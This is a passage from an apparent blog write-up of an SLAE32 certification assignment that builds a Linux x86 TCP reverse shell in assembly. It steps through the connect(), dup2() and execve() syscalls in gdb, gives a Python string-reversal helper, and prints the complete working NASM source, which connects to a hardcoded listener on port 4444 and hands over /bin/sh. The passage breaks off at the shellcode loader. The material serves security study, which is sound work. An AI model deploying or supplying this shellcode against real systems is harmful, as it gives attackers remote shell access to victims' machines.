alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We once again define a hook-stop for the scope of the <strong>connect()<\/strong> assembly code:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n&gt;print\/x $eax\n&gt;print\/x $ebx\n&gt;print\/x $ecx\n&gt;print\/x $edx\n&gt;print\/x $edi\n&gt;x\/4xw $esp\n&gt;disassemble 0x8049013\n&gt;end\n<\/pre><\/div>\n\n\n<p>As we step through, we note that instructions save the socket file descriptor to <strong>EDX<\/strong> as intended:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425215500.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Next, the syscall is set up for the call to <strong>connect()<\/strong> by moving <strong>0x3<\/strong> to the <strong>bl<\/strong> register:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425215612.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Next, the XOR'd hex value of our <strong>host address<\/strong> and <strong>0xffffffff<\/strong> is moved to the <strong>EDI<\/strong> register:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425215724.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>This value is then XOR'd with 0xffffffff again to return the hex value of our host address to avoid null bytes:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425215920.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Next, the values for the port and protocol family are pushed to the stack:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425220117.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The <strong>ESP<\/strong> value is moved to the <strong>ESI<\/strong> register, so as to save the sockaddr_in structure that we have pushed to the stack.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425220539.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The addrlen, *addr and sockfd values are pushed to the stack:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425220723.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The ESP value is moved to the ECX register, so that ECX is pointing to the addr values as per the function arguments for <strong>connect()<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425220831.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>After the syscall is made, the value <strong>0xffffff91<\/strong> is put into the EAX register, indicating that the <strong>connect()<\/strong> attempt was unsuccessful.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425221014.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>However, if we set up a <strong>netcat listener<\/strong> on port 4444, whilst the binary returns a segmentation fault, we can see that the connection is successfully made:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425221304.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We can repeat the final instruction in gdb and see that the return value for the syscall is put into <strong>EAX<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425221829.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Making the shell interactive<\/h3>\n\n\n\n<p>Now that we have a working reverse shell implementation in assembly, we next work on making it interactive.<\/p>\n\n\n\n<p>The example C program does this by setting the file descriptors for the client socket for the STDIN, STDOUT and STDERR values on the host system.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\n\/\/ Duplicate file descriptors for STDIN, STDOUT and STDERR \n    dup2(client_sockid, 0); \n    dup2(client_sockid, 1); \n    dup2(client_sockid, 2); \n<\/pre><\/div>\n\n\n<p>The manual entry for this functionality is as follows:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220419213155.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The <strong>dup2()<\/strong> function, which is used by the C program has the following function header:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nint dup2(int oldfd, int newfd);\n<\/pre><\/div>\n\n\n<p>To locate the syscall number for <strong>dup2()<\/strong>, we can query unistd_32.h and grep for the function name like so:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ncat  \/usr\/include\/i386-linux-gnu\/asm\/unistd_32.h | grep dup2\n\n#define __NR_dup2 63\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220419214121.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We determine the syscall number of <strong>dup2()<\/strong> is <strong>63<\/strong>, which in hex is <strong>0x3F<\/strong>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">dup2() arguments<\/h3>\n\n\n\n<p>Next, we look at each of the parameters to the <strong>dup2()<\/strong> function.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">oldfd<\/h4>\n\n\n\n<p>The oldfd argument is a file descriptor. In this case, we set it to the file descriptor of the established socket.<\/p>\n\n\n\n<p>This value can be set to the file descriptor of the previously established socket. Following the call to&nbsp;<strong>connect()<\/strong>, the socket descriptor was saved to the <strong>EDX<\/strong> register.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220420210811.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">newfd<\/h4>\n\n\n\n<p>The newfd argument is the file descriptor we are redirecting into the socket.<\/p>\n\n\n\n<p>As we are aiming to redirect STDIN, STDOUT and STDERR to the socket connection, this value will be set to 0, 1 and 2 on each subsequent syscall.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">dup2() argument structure<\/h3>\n\n\n\n<p>A breakdown of the arguments to <strong>dup2()<\/strong> is as follows:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man Reference<\/th><th>C Code Reference<\/th><\/tr><\/thead><tbody><tr><td>dup2<\/td><td>oldfd<\/td><td>Socket file descriptor<\/td><td>host_sockid<\/td><\/tr><tr><td>dup2<\/td><td>newfd<\/td><td>Maximum number of pending connections<\/td><td>0, 1 and 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Calling dup2()<\/h3>\n\n\n\n<p>In case of our system call to <strong>dup2()<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>EAX - system call number (63)<\/li>\n\n\n\n<li>EBX - oldfd, which is the sockid returned by the call to <strong>socket()<\/strong><\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">dup2() assembly code<\/h3>\n\n\n\n<p>The assembly code for the <strong>dup2()<\/strong> function is as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n_dup2:\n\n        ; Push the EAX register containing the socket file descriptor returned from socket()\n        push edx\n\n        ; Clear EAX register and set al to syscall number 63 in hex.\n        mov al, 0x3f\n        pop ebx;                POP socket file descriptor into EBX for dup2 syscall\n        xor ecx, ecx;           Clear ECX register for initial redirection of STDIN (0)\n        int 0x80;               Execute dup2() syscall\n\n        ; Set dup2() syscall for STDOUT\n        mov al, 0x3f\n        mov cl, 0x1\n        int 0x80\n\n        ; Set dup2() syscall for STDERR\n        mov al, 0x3f\n        mov cl, 0x2\n        int 0x80\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">dup2() analysis<\/h3>\n\n\n\n<p>We can now step through our implementation of <strong>dup2()<\/strong> using gdb.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425223934.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Defining hook-stop for the scope of <strong>dup2()<\/strong> assembly code:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n(gdb) define hook-stop\nType commands for definition of &quot;hook-stop&quot;.\nEnd with a line saying just &quot;end&quot;.\n&gt;print\/x $eax\n&gt;print\/x $ebx\n&gt;print\/x $ecx\n&gt;print\/x $edx\n&gt;x\/4xw $esp\n&gt;disassemble 0x8049040 \n&gt;end\n<\/pre><\/div>\n\n\n<p><strong>Note:<\/strong> We once again have to set up a listener in order to resume execution in gdb after the call to <strong>connect()<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425223707.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>To begin, the value of <strong>EDX<\/strong>, which contains the socket descriptor is pushed to the stack.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425224117.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We move the syscall number for <strong>dup2()<\/strong> to the <strong>EAX<\/strong> register:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425224501.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We prep the <strong>EAX<\/strong>, <strong>EBX<\/strong> and <strong>ECX<\/strong> registers for the syscall to duplicate <strong>STDIN<\/strong>, denoted by <strong>ECX<\/strong> as the value <strong>0<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425224633.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We repeat the setup to perform the syscall for <strong>STDOUT<\/strong>, with <strong>ECX<\/strong> set to <strong>0x1<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425224724.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Finally we perform the syscall for <strong>STDERR<\/strong>, with <strong>ECX<\/strong> set to <strong>0x2<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425224827.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>On each subsequent syscall, the <strong>EAX<\/strong> register returns the value of the new file descriptor (0 for STDIN, 1 for STDOUT, 2 for STDERR).<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425224934.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Getting a shell<\/h3>\n\n\n\n<p>Now that we have a working reverse connection over TCP which performs proper I\/O redirection, we need to implement a shell.<\/p>\n\n\n\n<p>Once the socket client connects to our waiting listener, the program needs to execute a shell program such as <strong>\/bin\/sh<\/strong> to spawn a shell.<\/p>\n\n\n\n<p>To do this, we are going to use the <strong>execve()<\/strong> syscall.<\/p>\n\n\n\n<p>As per the C shellcode, the <strong>execve()<\/strong> call is as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\n\/\/ Execute \/bin\/sh \nexecve(&quot;\/bin\/sh&quot;, NULL, NULL);\n<\/pre><\/div>\n\n\n<p>The manual entry for the <strong>execve()<\/strong> functionality is as follows:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220419222245.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The <strong>execve()<\/strong> function has the following function header:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nint execve(const char *pathname, char *const argv&#x5B;], char *const envp&#x5B;]);\n<\/pre><\/div>\n\n\n<p>To locate the syscall number for <strong>execve()<\/strong>, we can again query the unistd_32.h file:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ncat  \/usr\/include\/i386-linux-gnu\/asm\/unistd_32.h | grep execve \n#define __NR_execve 11\n#define __NR_execveat 358\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220419222603.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We determine the syscall number of <strong>execve()<\/strong> is <strong>11<\/strong>, which in hex is <strong>0xb<\/strong>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">execve() arguments<\/h3>\n\n\n\n<p>Next, we look at each of the parameters to the <strong>execve()<\/strong> function.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">pathname<\/h4>\n\n\n\n<p>The pathname argument is used to refer to the null-terminated file path of the program executed by <strong>execve()<\/strong>.<\/p>\n\n\n\n<p>This value is pushed to the stack in little-endian format. We will point this value to the filepath of \/bin\/sh.<\/p>\n\n\n\n<p>To maintain stack alignment, we will push the string ''\/\/bin\/sh' which has a length of 8. In doing so, we can cleanly push this value to the stack in two instructions.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">argv<\/h4>\n\n\n\n<p>The argv argument is an array of pointers to strings to be passed to the new program as command-line arguments.<\/p>\n\n\n\n<p>In this case, as we are just looking to implement a call to \/bin\/sh, we will leave this as NULL.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">envp<\/h4>\n\n\n\n<p>The envp argument is an array of pointers to strings to be passed as the environment of the new program.<\/p>\n\n\n\n<p>Once again, as we are just looking to implement a call to \/bin\/sh, we can leave this as NULL.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">execve() argument structure<\/h3>\n\n\n\n<p>A breakdown of the arguments to <strong>execve()<\/strong> is as follows:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man Reference<\/th><th>C Code Reference<\/th><\/tr><\/thead><tbody><tr><td>-<\/td><td>call<\/td><\/tr><tr><td>execve<\/td><td>pathname<\/td><td>Filepath of the program to execute<\/td><td>\"\/bin\/sh\"<\/td><\/tr><tr><td>execve<\/td><td>argv<\/td><td>Command-line arguments of the program<\/td><td>NULL<\/td><\/tr><tr><td>execve<\/td><td>envp<\/td><td>Environment of the new program<\/td><td>NULL<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Calling execve()<\/h3>\n\n\n\n<p>In case of our system call to <strong>execve()<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>EAX<\/strong> - system call number (11)<\/li>\n\n\n\n<li><strong>EBX<\/strong> - pathname (\"\/\/bin\/sh\" in reverse)<\/li>\n\n\n\n<li><strong>ECX<\/strong> - argv (set to NULL)<\/li>\n\n\n\n<li><strong>EDX<\/strong> - envp (set to NULL)<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Reversing the pathname<\/h3>\n\n\n\n<p>In order to abide by the little-endian format, we must push values in reverse order to the stack.<\/p>\n\n\n\n<p>We can reverse the <strong>pathname<\/strong> and put it in little endian format using the below python code snippet.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/python\n\nimport sys\n\ninput = sys.argv&#x5B;1]\n\nprint 'String length : ' +str(len(input))\n\nstringList = &#x5B;input&#x5B;i:i+4] for i in range(0, len(input), 4)]\n\nfor item in stringList&#x5B;::-1] :\n        print item&#x5B;::-1] + ' : ' + str(item&#x5B;::-1].encode('hex'))\n<\/pre><\/div>\n\n\n<p>We can use this script to reverse the string \"\/\/bin\/sh\" and encode it in hex, so that we may include it in our assembly.<\/p>\n\n\n\n<p><strong>Note:<\/strong> as mentioned previously, we have prepended the <strong>pathname<\/strong> with an additional forward slash \"\/\" to make the string length 8. This allows us to push the string evenly and maintain stack alignment.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\npython2 reverse.py &quot;\/\/bin\/sh&quot;\nString length : 8\nhs\/n : 68732f6e\nib\/\/ : 69622f2f\n<\/pre><\/div>\n\n\n<p>The output of the program gives us the two values we need to push to the stack, <strong>0x68732f6e<\/strong> and <strong>0x69622f2f<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220419224332.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">execve() assembly code<\/h3>\n\n\n\n<p>The assembly code for the <strong>execve()<\/strong> function is as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n_execve:\n\n        ; Clear EAX register and set al to syscall number 11 in hex.\n        mov al, 0xb\n\n        ; Push pathname string to the stack and set the EBX register to it\n        xor ebx, ebx\n        push ebx;                       NULL terminate the string\n        push 0x68732f6e;                hs\/n - 0x68732f6e\n        push 0x69622f2f;                ib\/\/ - 0x69622f2f\n        mov ebx, esp;\n\n        ; Clear the ECX and EDX registers for argv and envp\n        xor ecx, ecx\n        xor edx, edx\n\n        ; Execute execve() syscall\n        int 0x80\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">execve() analysis<\/h3>\n\n\n\n<p>We can now step through our implementation of <strong>execve()<\/strong> using gdb.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425225246.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We define our hook-stop function:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n(gdb) define hook-stop\nType commands for definition of &quot;hook-stop&quot;.\nEnd with a line saying just &quot;end&quot;.\n&gt;print\/x $eax\n&gt;print\/x $ebx\n&gt;print\/x $ecx\n&gt;print\/x $edx\n&gt;x\/4xw $esp\n&gt;disassemble 0x8049054\n&gt;end\n<\/pre><\/div>\n\n\n<p><strong>Note:<\/strong> We once again have to initiate a client connection in order to resume execution after the call to <strong>connect()<\/strong><\/p>\n\n\n\n<p>The syscall is set up for the call to <strong>execve()<\/strong>, having moved <strong>0xb<\/strong> to the <strong>bl<\/strong> register:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425225522.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The null-terminated string value of '\/\/bin\/sh' is pushed to the stack in preparation for the call to <strong>execve()<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425225628.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The <strong>ESP<\/strong> value is moved to the <strong>EBX<\/strong> register, so that <strong>EBX<\/strong> is pointing to the null-terminated string used for the <strong>pathname<\/strong> argument:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425225743.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The <strong>ECX<\/strong> and <strong>EDX<\/strong> registers are both cleared, as they are provided as the NULL <strong>argv<\/strong> and <strong>env<\/strong> arguments:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425225839.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Finally, the syscall to <strong>execve()<\/strong> is made, and a call is made to the \/bin\/sh program:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425225943.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We check our netcat listener, and confirm we have a fully functioning reverse shell.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425230037.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Complete assembly code<\/h3>\n\n\n\n<p>The final assembly implementation of our TCP reverse shell is as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n; tcp_reverse_shell_x86.nasm \n; Author: Jack McBride (PA-6483)\n; Website: https:\/\/jacklgmcbride.co.uk\n; \n; Purpose: SLAE32 exam assignment\n;\n; Assignment 2: Linux x86 TCP Reverse Shell\n\nglobal _start\n\nsection .text\n\n_start:\n                        ; Linux x86 reverse tcp shell\n                        ; set up socket()\n                        ; set up connect()\n                        ; set up dup2()\n                        ; set up execve()\n\n_socket:\n\n        ; Clear EAX register and set al to syscall number 102 in hex.\n        xor eax, eax\n        mov al, 0x66 \n\n        ; Clear EBX register and set bl to 0x1 for socket.\n        xor ebx, ebx\n        mov bl, 0x1\n\n        ; Clear ECX register and push values for protocol, type and domain to the stack\n        xor ecx, ecx\n        push ecx;       protocol - 0 (0x00000000)\n        push 0x1;       type - 1 (0x1)\n        push 0x2;       domain - PF_INET (0x2)\n\n        ; Set ECX to the top of the stack to point to args\n        mov ecx, esp\n\n        ; Execute socket() syscall\n        int 0x80\n\n_connect:\n\n        ; Clear EDX register and save the sockfd value returned from socket()\n        xor edx, edx\n        mov edx, eax\n\n        ; Clear EAX register and set al to syscall number 102 in hex.\n        xor eax, eax\n        mov al, 0x66\n\n        ; clear EBX register and set bl to 0x3 for connect.\n        xor ebx, ebx\n        mov ebx, 0x3\n\n        ; Clear EDI register and push value for IP address.\n        xor edi, edi\n        mov edi, 0x6896573f\n        ; XOR EDI to get original IP address hex value whilst avoiding null bytes.\n        xor edi, 0xffffffff\n\n        ; Clear ECX register and push IP address\n        xor ecx, ecx\n        push edi;               sin_addr - 192.168.105.151 (0x6896573f)\n        push word 0x5c11;       sin_port - 4444 (0x5c11)\n        push word 0x2;          sin_family - AF_INET (2)\n\n        ; Save pointer to sockaddr to ESI register\n        mov esi, esp\n\n        push 0x10;              addrlen - 16 (0x10)\n        push esi;               addr\n        push edx;               sockfd\n\n        ; Set ECX to stop of stack for syscall arguments *args\n        mov ecx, esp\n\n        ; Execute connect() syscall\n        int 0x80\n\n_dup2:\n\n        ; Push the EDX register containing the socket file descriptor return from socket()\n        push edx\n\n        ; Clear EAX register and set al to syscall number 63 in hex.\n        mov al, 0x3f\n\n        pop ebx;        POP socket file descriptor into EBX register for dup2 syscall\n\n        xor ecx, ecx;   Clear ECX register for initial redirection of STDIN (0)\n        int 0x80;       Execute dup2() syscall\n\n        ; set dup2() syscall for STDOUT (1)\n        mov al, 0x3f\n        mov cl, 0x1\n        int 0x80\n\n        ; set dup2() syscall for STDERR (2)\n        mov al, 0x3f\n        mov cl, 0x2\n        int 0x80\n\n_execve:\n        ; Clear EAX register and set al to syscall number 11 in hex.\n        mov al, 0xb\n\n        ; Push pathname string to the stack and set the EBX register to it\n        xor ebx, ebx\n        push ebx;                       NULL terminate the string\n        push 0x68732f6e;                hs\/n - 0x68732f6e\n        push 0x69622f2f;                ib\/\/ - 0x69622f2f\n        mov ebx, esp;\n\n        ; Clear the ECX and EDX registers for argv and envp\n        xor ecx, ecx\n        xor edx, edx\n\n        ; Execute execve() syscall\n        int 0x80\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Assembly and linkage<\/h3>\n\n\n\n<p>We can assemble and link our TCP reverse shell program as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 2: Linux x86 TCP Reverse Shell]\n\u2514\u2500# nasm -f elf32 -o tcp_reverse_shell_x86.o tcp_reverse_shell_x86.nasm\n\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 2: Linux x86 TCP Reverse Shell]\n\u2514\u2500# ld -o tcp_reverse_shell_x86 tcp_reverse_shell_x86.o\n\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220425230216.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Executing the shellcode<\/h3>\n\n\n\n<p>Next, we can extract the raw shellcode from our tcp_reverse_shell_x86 binary and insert it into our C shellcode loader.<\/p>\n\n\n\n<p>Our shellcode loader is a simple C program designed to print the length of our shellcode, and direct execution to it:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" 